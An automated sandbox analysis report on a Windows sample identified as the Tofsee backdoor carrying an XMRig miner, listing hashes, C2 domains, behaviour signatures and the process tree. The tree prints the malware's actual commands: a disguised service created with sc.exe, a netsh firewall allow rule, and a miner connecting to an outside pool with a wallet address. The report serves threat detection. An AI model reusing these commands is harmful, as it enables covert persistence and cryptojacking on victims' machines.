Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-02-2023 14:23

General

  • Target

    file.exe

  • Size

    322KB

  • MD5

    47446aab4c244063fa5b4852650093e0

  • SHA1

    383d4023a79edd924cad180666ea969613fdec4d

  • SHA256

    0c2e01cf79746b2f2824d9f39dc28a5b28a36ea0d3866395ad8ed30e961e7ad1

  • SHA512

    f28183ad13ca4c9bd79d11e18779f2a4cf6ed3500f0ca5015443a4b075a87090d2f008ee8d4b980eca396f99b580cae371085137ca69d4df75c4194a46e48c4f

  • SSDEEP

    3072:qfz6kXLWSkKDRKs8SgL8ZridHKS7WALXQSYC1//+sxA7rNAMV+v3:eHLLkKYs8SxrGHzqcYClRkM

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2608
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\afgrrltt\
      2⤵
        PID:4072
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oqteztij.exe" C:\Windows\SysWOW64\afgrrltt\
        2⤵
          PID:1292
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create afgrrltt binPath= "C:\Windows\SysWOW64\afgrrltt\oqteztij.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description afgrrltt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4824
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start afgrrltt
          2⤵
          • Launches sc.exe
          PID:2416
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2596
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2608 -s 664
          2⤵
          • Program crash
          PID:2432
      • C:\Windows\SysWOW64\afgrrltt\oqteztij.exe
        C:\Windows\SysWOW64\afgrrltt\oqteztij.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4500
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5000
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1004
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4500 -s 532
          2⤵
          • Program crash
          PID:3700
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2608 -ip 2608
        1⤵
          PID:4560
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4500 -ip 4500
          1⤵
            PID:692

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\oqteztij.exe

            Filesize

            14.9MB

            MD5

            c6028e1cc4c0049400b7f7f4c5e51d03

            SHA1

            a669360773664fad8363f608327f58aafcfb20ae

            SHA256

            d783c88ca204c01f9605e17744a7cf069d20ccfedceac6fb162128e239601fe3

            SHA512

            60188f9f616f0e6faec85b37a829d599defb25925d1ae5dd27bb7de2aa75804cd5de99ddc568a461d14c730fa0854ad6167e8c182eebedc66a6706b2c6947337

          • C:\Windows\SysWOW64\afgrrltt\oqteztij.exe

            Filesize

            14.9MB

            MD5

            c6028e1cc4c0049400b7f7f4c5e51d03

            SHA1

            a669360773664fad8363f608327f58aafcfb20ae

            SHA256

            d783c88ca204c01f9605e17744a7cf069d20ccfedceac6fb162128e239601fe3

            SHA512

            60188f9f616f0e6faec85b37a829d599defb25925d1ae5dd27bb7de2aa75804cd5de99ddc568a461d14c730fa0854ad6167e8c182eebedc66a6706b2c6947337

          • memory/1004-173-0x0000000000000000-mapping.dmp

          • memory/1004-174-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/1004-179-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/1292-136-0x0000000000000000-mapping.dmp

          • memory/1624-138-0x0000000000000000-mapping.dmp

          • memory/2416-140-0x0000000000000000-mapping.dmp

          • memory/2596-142-0x0000000000000000-mapping.dmp

          • memory/2608-132-0x00000000005CF000-0x00000000005E4000-memory.dmp

            Filesize

            84KB

          • memory/2608-143-0x00000000005CF000-0x00000000005E4000-memory.dmp

            Filesize

            84KB

          • memory/2608-144-0x0000000000400000-0x000000000046B000-memory.dmp

            Filesize

            428KB

          • memory/2608-134-0x0000000000400000-0x000000000046B000-memory.dmp

            Filesize

            428KB

          • memory/2608-133-0x0000000000530000-0x0000000000543000-memory.dmp

            Filesize

            76KB

          • memory/4072-135-0x0000000000000000-mapping.dmp

          • memory/4500-145-0x0000000000749000-0x000000000075F000-memory.dmp

            Filesize

            88KB

          • memory/4500-146-0x0000000000400000-0x000000000046B000-memory.dmp

            Filesize

            428KB

          • memory/4500-151-0x0000000000749000-0x000000000075F000-memory.dmp

            Filesize

            88KB

          • memory/4500-152-0x0000000000400000-0x000000000046B000-memory.dmp

            Filesize

            428KB

          • memory/4824-139-0x0000000000000000-mapping.dmp

          • memory/5000-154-0x0000000000B10000-0x0000000000B25000-memory.dmp

            Filesize

            84KB

          • memory/5000-155-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

          • memory/5000-158-0x0000000002180000-0x0000000002186000-memory.dmp

            Filesize

            24KB

          • memory/5000-161-0x0000000002190000-0x00000000021A0000-memory.dmp

            Filesize

            64KB

          • memory/5000-164-0x00000000021E0000-0x00000000021E5000-memory.dmp

            Filesize

            20KB

          • memory/5000-167-0x0000000007900000-0x0000000007D0B000-memory.dmp

            Filesize

            4.0MB

          • memory/5000-170-0x00000000021F0000-0x00000000021F7000-memory.dmp

            Filesize

            28KB

          • memory/5000-153-0x0000000000B10000-0x0000000000B25000-memory.dmp

            Filesize

            84KB

          • memory/5000-148-0x0000000000B10000-0x0000000000B25000-memory.dmp

            Filesize

            84KB

          • memory/5000-147-0x0000000000000000-mapping.dmp